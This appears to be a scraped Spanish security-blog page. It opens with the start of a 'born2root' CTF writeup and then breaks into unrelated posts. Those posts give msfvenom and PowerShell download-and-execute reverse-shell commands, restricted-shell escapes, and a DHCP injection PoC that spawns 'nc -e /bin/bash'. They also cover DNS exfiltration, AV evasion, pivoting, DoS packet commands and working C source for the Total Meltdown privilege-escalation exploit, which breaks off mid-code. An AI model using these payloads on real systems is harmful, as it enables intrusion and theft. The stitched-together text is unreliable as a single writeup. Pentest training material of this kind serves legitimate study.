Solución al reto 25 "born2root"

Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:

Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229                                                                                             

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
|   256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_  256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp   open  http    Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open  llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.1.229

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds

Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:

http://192.168.1.229/

Colección de herramientas y técnicas para obtener shells reversas en Windows

En CTFs y/o plataformas de training la mayoría de las máquinas que encontramos son Linux y cuando conseguimos explotar una vulnerabilidad que nos permite ejecución remota de comandos el siguiente paso normalmente es obtener una shell reversa.

Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:

MsfVenom

Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2749 bytes

La subimos al servidor:
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
2785 bytes sent in 0.00 secs (20.2747 MB/s)

Ponemos el multihandler a la escucha:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Starting the payload handler...

Y al abrir el enlace...
http://10.10.10.5/shell.aspx

Obtenemos la shell correspondiente:
[*] Sending stage (956991 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.5:49157) at 2017-11-25 meterpreter > sysinfo
Computer        : DEVEL
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : el_GR
Domain          : HTB
Logged On Users : 0
Meterpreter     : x86/windows

Metasploit Web Delivery

El Web Delivery de Metasploit es un módulo muy versátil que crea un servidor en la máquina del atacante que aloja el payload seleccionado. Digamos que nos ahorra realizar varios pasos de forma manual y es muy cómodo porque nos devuelve el comando de una sóla línea que debemos ejecutar en la víctima. Veamos por ejemplo un payload en powershell:
use exploit/multi/script/web_delivery
set TARGET 2 (powershell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set URIPATH update
set LHOST 10.10.14.15
set LPORT 8082
exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:8082 
[*] Using URL: http://0.0.0.0:8081/update
[*] Local IP: http://10.10.14.15:8081/update
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.15:8081/update');

msf exploit(multi/script/web_delivery) > [*] 10.10.10.9       web_delivery - Delivering Payload
[*] Sending stage (205891 bytes) to 10.10.10.9
[*] Meterpreter session 1 opened (10.10.14.15:8082 -> 10.10.10.9:49618) at 2018-01-11 11:04:41 +0100

msf exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\IUSR @ BASTARD  10.10.14.15:8082 -> 10.10.10.9:49618 (10.10.10.9)

Técnicas para escapar de shells restringidas (restricted shells bypassing)

Recientemente, @n4ckhcker y @h4d3sw0rmen publicaron en exploit-db un breve pero útil paper para escapar de shells restringidas como rbash, rksh y rsh, ya sabéis, aquellas que bloquean algunos de comandos como cd, ls, echo, etc., restringen variables de entorno como SHELL, PATH, USER y a veces incluso comandos con / o las salidas de redireccionamiento como >, >>; todo ello para añadir una capa extra de seguridad para protegerse contra posibles atacantes, comandos peligrosos o simplemente como una prueba en un CTF. A continuación se listan la mayoría de las técnicas para bypassear estas shells restringidas:

Enumeración 
1) Primero debemos verificar si se pueden ejecutar comandos como cd/ls/echo, etc.
2) Debemos verificar si podemos usar operadores como >, >>, <, |.
3) Necesitamos verificar si están disponibles lenguajes de programación disponibles como perl, ruby, python, etc.
4) Qué comandos podemos ejecutar como root (sudo -l).
5) Comprobar si hay archivos o comandos con SUID.
6) Hay que verificar en qué shell estamos: echo $SHELL (normalmente en rbash)
7) Verificar las variables de entorno: ejecutar env o printenv

Técnicas de explotación normales
1) si "/" está permitido se puede ejecutar /bin/sh o /bin/bash.
2) si podemos ejecutar el comando cp podemos copiar /bin/sh o /bin/bash en el directorio.
3) ftp > !/bin/sh o !/bin/bash
4) gdb > !/bin/sh o !/bin/bash
5) more/man/less > !/bin/sh o !/bin/bash
6) vim > !/bin/sh o !/bin/bash
7) rvim > :python import os; os.system("/bin/bash )
8) scp > scp -S /path/yourscript x y:
9) awk > awk 'BEGIN {system("/bin/sh o /bin/bash")}'
10) find > find / -name test -exec /bin/sh o /bin/bash \;

Técnicas de lenguajes de programación
1) except > except spawn sh then sh.
2) python > python -c 'import os; os.system("/bin/sh")'
3) php > php -a then exec("sh -i");
4) perl > perl -e 'exec "/bin/sh";'
5) lua > os.execute('/bin/sh').
6) ruby > exec "/bin/sh"

Técnicas avanzadas:
1) ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"
2) ssh2 > ssh username@IP -t "bash --noprofile"
3) ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4) ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)
5) git > git help status > luego puedes ejecutar !/bin/bash
6) pico > pico -s "/bin/bash" luego puedes escribir /bin/bash y pulsar CTRL + T
7) zip > zip /tmp/test.zip /tmp/test -T --unzip -command="sh -c /bin/bash"
8) tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint -action=exec=/bin/bash

Prácticas y labs:
- https://www.root-me.org/en/Challenges/App-Script/Restricted-shells
- https://blog.mallardlabs.com/hackthebox-solidstate-writeup/
- http://blog.dornea.nu/2016/06/20/ringzer0-ctf-jail-escaping-bash/

Más info:
- https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
- https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells
- https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
- https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/
- http://securebean.blogspot.com.es/2014/05/escaping-restricted-shell_3.html
- http://ud64.com/ask/61/escaping-bypass-from-jail-restricted-linux-shells

Reto 25: born2root warm up

Ya lo veníamos anunciando hace unas horas en nuestras redes sociales: César Calderón aka @_stuxnet ha preparado un reto de tipo boot2root, es decir, una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) y que podemos descargar ya desde:

https://drive.google.com/file/d/1nyJrnc5_lJMHa4-5yGqkaLLaCvPNZl42/view?usp=sharing

Y, como os decíamos también, el primero en conseguir la flag de root.txt, a parte de entrar en nuestro eterno hall de la fama, ganará el siguiente premio:

- una entrada para la conferencia EastMadH4ck que tendrá lugar en Arganda (Madrid) el próximo 26 de mayo y donde yo y kaoRz impartiremos un taller de pentesting precisamente orientado a resolver este tipo de retos boot2root.
- una camiseta y un welcome pack de la conferencia de Hackplayers (h-c0n) que tuvo lugar el pasado 2 y 3 de febrero y que, esperamos, se reedite con más fuerza si cabe el año siguiente.

La única condición para conseguir el premio, a parte de ser el primero por supuesto, es que el ganador ha de personarse el día 26 en la conferencia EastMadH4ck, de lo contrario el premio pasará al siguiente en mandarnos la flag y así sucesivamente.

La flag junto con el writeup correspondiente ha de enviarse a la dirección de correo hackplayers_at_ymail (Ymail con "y" griega).

Nota importanteLa manera de resolver estos retos 'boot2root' debe hacerse como si fuera una máquina remota atacando y explotando sus servicios expuestos. Otros métodos posibles al disponer de la imagen una máquina virtual (protegida o no) como acceder al filesystem en modo recovery, modificar el arranque o montar directamente los discos no son permitidas para este reto.

Agradecimientos a César y ánimo que la máquina es de nivel fácil (4/10 según su autor)!!

Vulnerabilidad crítica de RCE en los clientes DHCP de RHEL 6 y 7 (CVE-2018-1111)

Felix Wilhelm, un investigador de Google, descubrió recientemente una vulnerabilidad crítica en un script incluido en los paquetes del cliente DHCP (dhclient) en Red Hat Enterprise Linux 6 y 7 (y distribuciones derivadas). La vulnerabilidad, etiquetada con el CVE-2018-1111 y bautizada también como DynoRoot, podría permitir a un atacante ejecutar comandos arbitrarios con privilegios de root en los sistemas afectados.

Los scripts en concreto son los del componente NetworkManager /etc/NetworkManager/dispatcher.d/11-dhclient (en RHEL 7) y /etc/NetworkManager/dispatcher.d/10-dhclient (en RHEL 6), que se ejecutan cada vez que NetworkManager recibe una respuesta DHCP de un servidor DHCP. Y lo peor (o lo mejor según se mire) el PoC de su explotación cabe hasta en un tweet:

https://twitter.com/Barknkilic/status/996470756283486209


dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"


Podéis imaginar que un servidor DHCP malicioso, o un atacante en la red local capaz de falsificar respuestas DHCP, podría usar este bug para ejecutar comandos arbitrarios con privilegios de root en los sistemas que usan NetworkManager para obtener la configuración de red utilizando el protocolo DHCP.

De momento, a parte de RHEL 6.x y 7x, se han confirmado como vulnerables CentOS 6.x y 7.x, Fedora 26, 27, 28, Rawhide e incluso los sistemas ClearOS y Oracle Linux de HPE y el reciente Korora Linux.

¡Hora de parchear!

Fuente: https://access.redhat.com/security/vulnerabilities/3442151

DNSBin (ResquestBin.NET): ex-filtración de datos sobre DNS, sin tener que configurar ningún servidor DNS!

En una intrusión cuando encontramos una vulnerabilidad ciega (RCE, XXE, SQLi, etc.) para ex-filtrar información necesitamos de una conexión saliente. Sin embargo (al menos en entornos corporativos) estas conexiones suelen estar filtradas mediante firewalls y/o proxies. En tales casos y en muchas ocasiones se puede usar el protocolo DNS para filtrar datos puesto que las empresas no son tan restrictivas a la hora de limitar las consultas de resolución de nombres. Total... qué puede hacer una simple consulta DNS? };-)

Para conseguir recibir la información de las consultas DNS, el atacante tendrá que configurar un registro NS en un dominio y montar un servidor que esté a la "escucha" de las peticiones al puerto 53/UDP. Esto puede ser tedioso y más cuando se va a realizar sólo una prueba puntual o en una plataforma de training. Sin embargo, existe un portal en Internet llamado RequestBin.NET que no requiere ni registro ni autenticación y que en sólo unos segundos nos permite crear un servicio HTTP (HTTPBin) o DNS (DNSBin) para hacer este tipo de pruebas rápidamente.

En el caso de DNSBin que es el que no atañe en esta entra, se proporciona un subdominio que recopilará las solicitudes realizadas a través del protocolo dns y permite inspeccionarlos de una manera amigable. Sólo tenemos que pulsar el botón "Create a DNSBin" y se generará un subdominio para probar, por ej. *.09b38436c855d48a8912.d.requestbin.net:



Así que si hacemos una simple consulta veremos el resultado inmediatamente:


Evidentemente yo no usaría esta web en una auditoría para un cliente puesto que está en un servidor de terceros y no tenemos control sobre los logs, pero como decía puede ser bastante útil para training y, por qué no, para un atacante malintencionado que quiere ex-filtrar datos sin tener que montar una infraestructura, facilitándole así mucho el anonimato.

Pero hay más... podríamos montar también esta plataforma en nuestro propio servidor ya que la herramienta dnsbin es de código abierto:

https://github.com/HoLyVieR/dnsbin

Además, si os habéis fijado en la primera imagen de esta entrada, tenéis los comandos para enviar y recibir texto y ficheros con el cliente Python dnsbinclient.py. ¿Se puede pedir más?

Cómo seguir usando el shellcode de Metasploit y no morir en el intento (o ser matado por los AVs)

Como sabéis, el shellcode de Metasploit es muy pequeño por varias razones tácticas. Sin embargo esto hace también más difícil mejorarlo, y todos los antivirus lo tienen "a fuego" clasificado como malicioso. Wei Chen de Rapid7 le ha dado un par de vueltas a las posibilidades que existen para seguir usando el shellcode de Metasploit pero sin que sea detectado por los AVs más populares. Veamos...

Machine Learning

La mayoría de los motores de antivirus modernos funcionan con machine learning (en adelante ML), y este ha sido un gran cambio en el juego de la evasión AV. Los motores de AV no solo son mucho más inteligentes para detectar amenazas potenciales, sino que también responden mucho más rápido. Tan pronto como el comportamiento de su código tenga un aspecto demasiado malicioso, que puede ser tan simple como usar la API de Windows incorrecta (como WriteProcessMemory o incluso VirtualAlloc), uno de los controles de IA lo obtendrá y se acabó el juego. Además, los investigadores de malware obtienen rápido la copia del código, por lo que la evasión se presenta cada vez más y más difícil.

Windows Defender no es una excepción e implementa un cliente de ML que se ejecuta localmente en cada máquina. Las clasificaciones, como las firmas tradicionales, la detección de comportamiento, los genéricos, la heurística, etc. recogen el 97% del malware en el cliente según Microsoft. Usando estos clasificadores, el cliente de ML también recopila "características" del programa, lo que significa datos medibles o características del objeto escaneado. Con todo ésto y según su modelo de árbol de decisión toma un veredicto, y si no puede llegar a un uno definitivo, utiliza un servicio en la nube para un análisis más profundo.

Antimalware Scan Interface

Antimalware Scan Interface (AMSI) es una interfaz de programación creada por Microsoft que permite que cualquier aplicación de Windows aproveche el motor de Windows Defender y escanee en busca de entradas maliciosas, lo que hace que la evasión AV sea aún más difícil.

Esto es muy útil por ejemplo en Powershell, ya que los antivirus no hacen un gran trabajo al verificarlo en comparación con un ejecutable tradicional. También puede pasar una línea de código de Powershell como argumento para Powershell.exe, lo que es bastante sigiloso porque técnicamente no está tocando el disco. Por ejemplo:
powershell.exe -command "Write-Output [Convert]::FromBase64String('SGVsbG8gV29ybGQh')"

Atacando redes neuronales (ataques adversarios)

Una Red Neuronal Artificial (RNA) es un modelo matemático inspirado en el comportamiento biológico de las neuronas y en cómo se organizan formando la estructura del cerebro.

Últimamente están en auge, incorporándose a gran numero de aplicaciones, encomendándoles funciones tales como el reconocimiento facial, la conducción de vehículos autónomos de una manera muy óptima.

Esto abre una gran incógnita en mi biológica y retorcida red neuronal...O_o

¿Podemos hackear estos sistemas conexionistas?

Basta con navegar un poco por Internet para responder lo que en nuestras mentes era un si.

Hoy os propongo un ejercicio sencillo para salir de dudas, siempre desde la práctica.

El objetivo para nuestro pequeño lab : crear un una app de visión artificial, capaz de reconocer el objeto que contenga la foto que le pasemos..(un modelo pre-entrenado de Inception-v3)

Inception-v3 es un modelo de red neuronal convolucional que está capacitado para el gran desafío de Reconocimiento Visual con los datos de ImageNet 2012.

Es un estándar en visión artificial, donde los modelos intentan clasificar imágenes completas en 1000 clases , como "Zebra", "Dálmata" y "Lavavajillas". 
Por ejemplo, aquí están los resultados de AlexNet clasificando algunas imágenes:
 

Solución al reto 25 "la taberna del "Patito Modosito""


Los chic@s de Hackers4Fun CTF Team nos traen otro original reto de stegano. En el tweet ya dejan "caer" una pista "El reto trata de princesas que nos desvelarán un buen consejo...".

Manos a la obra

Hacemos clic en el enlace de google drive que nos deja en el tweet y obtenemos la siguiente imagen:


Nos la descargamos y empezamos analizarla, primer paso (cómo no!) "tiramos" de exiftool.

Podemos observar que no hay ninguna información que nos dé ninguna pista, por lo que procedemos analizar la imagen con Stegosolve.


Encontramos la primera pista, un Hash MD5!!

ShellPop: herramienta para generar fácilmente payloads para shells reversas y bind

A finales de año nuestro compi Luis Vacas publicó la herramienta ReverseShell escrita en Powershell para generar el comando en una sola línea para distintas shell reversas.

Hoy probamos su homónimo en Python: ShellPop de Andre Marques (zc00l) que nos puede ayudar de igual forma a obtener los comandos necesarios para obtener shells bind y reversas de una forma muy fácil.

A modo de resumen y para empezar me gustó especialmente que soporta UDP y también bind shells y, sobretodo, la opción --clip que directamente copia al portapapeles el comando generado.

Dependencias

Se requiere Python 2.x:

root@kali# apt-get install python-argcomplete -y

root@kali# pip install -r requirements.txt

Instalación

root@kali# python setup.py install

PD: después de la instalación, solo funcionará autocompletar después de reiniciar el terminal.

Ejemplos de uso

# shellpop --help
usage: shellpop [-h] [-l] [-H HOST] [-P PORT] [--number NUMBER]
                [--shell SHELL] [--reverse] [--bind] [--xor] [--base64]
                [--urlencode] [--handler] [--stager STAGER]
                [--http-port HTTP_PORT] [--clip]

Options:
  -h, --help            show this help message and exit
  -l, --list            List of available shells
  -H HOST, --host HOST  IP to be used in connectback (reverse) shells.
  -P PORT, --port PORT  Port to be used in reverse/bind shell code.
  --number NUMBER       Shell code index number
  --shell SHELL         Terminal shell to be used when decoding some encoding
                        scheme.
  --handler             Use handler, if possible.

Shell Types:
  --reverse             Victim communicates back to the attacking machine.
  --bind                Open up a listener on the victim machine.

Encoders Options:
  --xor                 Enable XOR obfuscation
  --base64              Encode command in base64.
  --urlencode           Encode the command in URL encoding.

Staging Options:
  --stager STAGER       Use staging for shells
  --http-port HTTP_PORT
                        HTTP staging port to be used

Miscellaneous:
  --clip                Copy payload to your clipboard automatically.

Pop shells like a master. For more help
visit:https://github.com/0x00-0x00/ShellPop

Taller de pivoting: Netcat y Socat

No podía faltar entre estas entradas de pivoting una dedicada a Netcat, la navaja suiza de TCP/IP, y su homólogo "con esteroides" Socat.

Netcat

Empecemos con Netcat que, aunque puede hacer muchas cosas, tiene como objetivo y función principales:

- Crear un socket inicial para establecer una conexión desde el servidor al cliente.
- Una vez conectado, generar automáticamente un segundo socket para transmitir archivos desde el servidor al cliente y viceversa (realmente esa es la parte sexy)

Y volvemos al escenario típico de pivoting, en el que el atacante compromete un equipo que tiene acceso a través del firewall a otro servidor que también queremos atacar:

En la máquina del atacante configuraremos un relay listener-to-listener usando el siguiente comando:




# ncat -lv --broker -m2 10000
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::10000
Ncat: Listening on 0.0.0.0:10000

En este momento, tendremos levantado el puerto 10000 en nuestra máquina. Luego, en el servidor comprometido ejecutaremos el siguiente comando:

$ ncat -v 192.168.2.42 10000 -c "ncat -v 192.168.33.15 20000"
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.2.42:10000.
Ncat: Version 5.51 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.33.15:20000.

Reto 24: la taberna del "Patito Modosito"

Esta vez os traemos un reto de Hackers4Fun CTF Team, un grupo que nace en el IES Francico Umbral de Ciempozuelos (Madrid) y que lleva un tiempo publicando pequeños retos muy entretenidos que sirven como entrenamiento perfecto para CTFs. En esta ocasión se trata de esteganografía por lo que tendremos que descubrir el mensaje que oculta la siguiente imagen de la entrada a la taberna del "Patito Modosito":


Para analizar la imagen debéis descargarla del enlace original y, una vez resuelto, mandar la flag por DM a la cuenta de Twitter https://www.twitter.com/Hackers4F.

Como hint deciros que el reto trata de princesas 👸 que nos desvelarán un buen consejo👍

Una vez que Hackers4F cierre el reto, publicaremos también el writeup y pondremos a los primeros acertantes en nuestra página. Así que animaros y a ver si sois capaces de ver que se esconde en la imagen ;)

Taller de pivoting: túneles SSH

SSH tiene un montón de opciones (os recomiendo echar un vistazo a su página de man) y una de las más interesantes es que un cliente SSH también permite "tunelizar" un puerto o una conexión entre el sistema local del atacante y el servidor SSH remoto. Hay tres tipos diferentes de túneles SSH: reenvío de puertos local, remoto o dinámico.

Local port forwarding

El "reenvío de puertos local permite acceder a los recursos de la red local que no están expuestos desde el exterior (ya sea Internet, otra red externa o incluso para el acceso a servicios que están restringidos y accesibles solo desde el host local).


Por ejemplo, imaginad que queremos acceder al servicio RDP del servidor de la víctima. Para ello levantaremos un puerto local en la máquina del atacante que tunelizará directamente con el del servidor:

ssh -L local_port:remote_address:remote_port username@server.com
ssh -L 3389:192.168.2.3:3389 user@192.168.2.3


De esta manera, podremos establecer una sesión de escritorio remoto simplemente lanzando nuestro cliente así:

rdesktop 127.0.0.1

Aunque bueno... si estamos hablando de RDP se trata de Windows y sería bastante "exótico" que corriera un servidor SSH... así que si hemos comprometido previamente el servidor mediante cualquier otra vulnerabilidad podemos subir el binario plink.exe (la versión de consola de putty) y ejecutar:

plink.exe -i clave.ppk -L *:3389:localhost:3389 user@192.168.2.3

Taller de pivoting: Metasploit

Hoy vamos a empezar con una serie de entradas relacionadas con el pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una máquina comprometida en la red objetivo, dependiendo de la configuración del equipo de la víctima, es posible que necesitemos o no tener root o privilegios de administrador.

En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesión de meterpreter sobre la máquina de la víctima.

En una auditoría de caja negra o una intrusión real, lo normal es que no tengamos nada de información del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeración inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy útil para identificar los host vivos dentro de la subred:
meterpreter > run arp_scanner -r 192.168.2.0/24
[*] ARP Scanning 192.168.2.0/24
[*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16

En el caso de que partamos de un equipo Windows, una buena opción es ver las conexiones y los puertos abiertos mediante el módulo de gathering tcp_netstat:
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > sessions
    ...sessions...
msf post(tcpnetstat) > set SESSION <session-id>
msf post(tcpnetstat) > show options
    ...show and set options...
msf post(tcpnetstat) > run

NEMESIS: una herramienta de inyección de paquetes TCP/IP

Nemesis es un proyecto que implementa una pila IP, portable (Windows y Linux) y usable desde la línea de comandos. La suite está estructura por protocolo y permite crear scripts sencillos para la inyección de paquetes.

Características principales

- Compatibilidad con el protocolo ARP/RARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP y UDP
- Inyección de capa 2 o 3 en sistemas tipo UNIX
- Inyección de capa 2 (solo) en sistemas Windows
- Payload del paquete desde archivo
- Opciones de IP y TCP desde archivo
- Probado en OpenBSD, Linux, Solaris, Mac OS X y Windows 2000

Cada protocolo compatible utiliza su propio "inyector" de protocolo, que va acompañado de una página man que explica su funcionalidad.

Ejemplos

Inyectar un ICMP redirect malformado

sudo nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5

IGMP v2 join para el grupo 239.186.39.5

sudo nemesis igmp -v -p 22 -S 192.168.1.20 -i 239.186.39.5 -D 239.186.39.5

Consulta de IGMP v2, tiempo máximo de resp 10 seg, con opción de IP de alerta de router

echo -ne '\x94\x04\x00\x00' >RA
sudo nemesis igmp -v -p 0x11 -c 100 -D 224.0.0.1 -O RA


o

echo -ne '\x94\x04\x00\x00' | sudo nemesis igmp -v -p 0x11 -c 100 -D 224.0.0.1 -O -

Consulta de IGMP v3, con la opción IP de alerta de router

echo -ne '\x03\x64\x00\x00' > v3
sudo nemesis igmp -p 0x11 -c 100 -i 0.0.0.0 -P v3 -D 224.0.0.1 -O RA

Paquete TCP aleatorio

sudo nemesis tcp

Pruebas DoS y DDoS

sudo nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fSA -y 22 -P foo
sudo nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt
sudo nemesis icmp redirect -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -qR
sudo nemesis arp -v -d ne0 -H 0:1:2:3:4:5 -S 10.11.30.5 -D 10.10.15.1


Build & Install

Nemesis se basa en libnet. Las compilaciones de plataformas de Windows también requieren libpcap. En sistemas GNU/Linux derivados de Debian y Ubuntu:

sudo apt install libnet1-dev

El sistema GNU Configure&Build usa /usr/local como el prefijo de instalación predeterminado. Por lo general, esto es suficiente, el ejemplo siguiente se instala en /usr:

tar xf nemesis-1.5.tar.xz
cd nemesis-1.5/
./configure --prefix=/usr
make -j5
sudo make install-strip


Proyecto: https://github.com/troglobit/nemesis

Exploit para escalar privilegios en Windows 7 y Server 2008 R2 x64 mediante CVE-2018-1038 - Total Meltdown

¿Os acordáis de Meltdown? aplicaciones sin privilegios eran capaces de leer la memoria del kernel debido a una característica integrada en las CPUs... Microsoft la parcheó en enero pero al hacerlo abrió un agujero aún peor permitiendo que cualquier proceso pueda leer el contenido completo de la memoria (a velocidades de gigabytes por segundo), incluso escribir en ella.

No se necesitan exploits complejos: Microsoft ya hizo el arduo trabajo en Windows 7 x64 y Server 2008 R2 x64 de mapeo en la memoria requerida en cada proceso en ejecución. La explotación es solo una cuestión de leer y escribir en la memoria virtual en proceso ya mapeada. No se requieren API sofisticadas ni llamadas de sistema, ¡solo lectura y escritura estándar!

El bug radica en que se permite el acceso en user-mode a una entrada (0x1e8) de la tabla de paginado PML4 (Page Map Level 4), una de las cuatro que se utilizan para trasladar direcciones virtuales a físicas. Y aún peor, dicha entrada es usada en Windows 7 y Server 2008 R2 x64 como auto-referenciable (Self-Referencing) lo que significa que cualquier proceso de usuario puede ver y modificar la tabla PML4 y, de forma adyacente, la memoria física. Os recomiendo echar un vistazo al artículo de Adam aka @_xpn_ donde lo explica perfectamente (mis dieses).

Una de las consecuencias de explotar este fallo es la posibilidad de escalar privilegios, como se puede observar en el siguiente vídeo de demo:


Para construir el exploit, "sólo" hay que desarrollar los siguientes pasos:

- Crear un nuevo conjunto de tablas de página que permita acceder a cualquier dirección de memoria física.
- Crear un conjunto de firmas que puedan usarse para buscar estructuras _EPROCESS en la memoria del kernel.
- Encontrar la dirección de memoria _EPROCESS para el proceso en ejecución y para el proceso del Sistema.
- Reemplace el token del proceso en ejecución con el de System, elevando a NT AUTHORITY\System.

Tenéis el código completo y funcional aquí.
#include "stdafx.h"

#define    PML4_BASE    0xFFFFF6FB7DBED000
#define    PDP_BASE    0xFFFFF6FB7DA00000
#define    PD_BASE        0xFFFFF6FB40000000
#define    PT_BASE            0xFFFFF68000000000

int main()
{
    printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
    printf("  paging code by @UlfFrisk\n\n");
        printf("  https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n");

    unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
    DWORD done;

    // Check for vulnerability
    __try {
        int test = *(unsigned long long *)PML4_BASE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[X] Could not access PML4 address, system likely not vulnerable\n");
        return 2;
    }

    // setup: PDPT @ fixed hi-jacked physical address: 0x10000
    // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
    // we can hijack.
    for (iPML4 = 256; iPML4 < 512; iPML4++) {
        vaPML4e = PML4_BASE + (iPML4 << 3);
        if (*(unsigned long long *)vaPML4e) { continue; }

        // When we find an entry, we add a pointer to the next table (PDPT), which will be
        // stored at the physical address 0x10000
        *(unsigned long long *)vaPML4e = 0x10067;
        break;
    }
    printf("[*] PML4 Entry Added At Index: %d\n", iPML4);

    // Here, the PDPT table is referenced via a virtual address.
    // For example, if we added our hijacked PML4 entry at index 256, this virtual address
    // would be 0xFFFFF6FB7DA00000 + 0x100000
    // This allows us to reference the physical address 0x10000 as:
    // PML4 Index: 1ed | PDPT Index : 1ed |    PDE Index : 1ed | PT Index : 100
    vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
    printf("[*] PDPT Virtual Address: %p", vaPDPT);

    // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
    // Below is responsible for adding 31 entries to the PDPT
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
    }

    // For each of the PDs, a further 512 PT's are created. This gives access to
    // 512 * 32 * 2mb = 33gb physical memory space
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        if ((iPDPT % 3) == 0)
            printf("\n[*] PD Virtual Addresses: ");

        vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
        printf("%p ", vaPD);

        for (iPD = 0; iPD < 512; iPD++) {
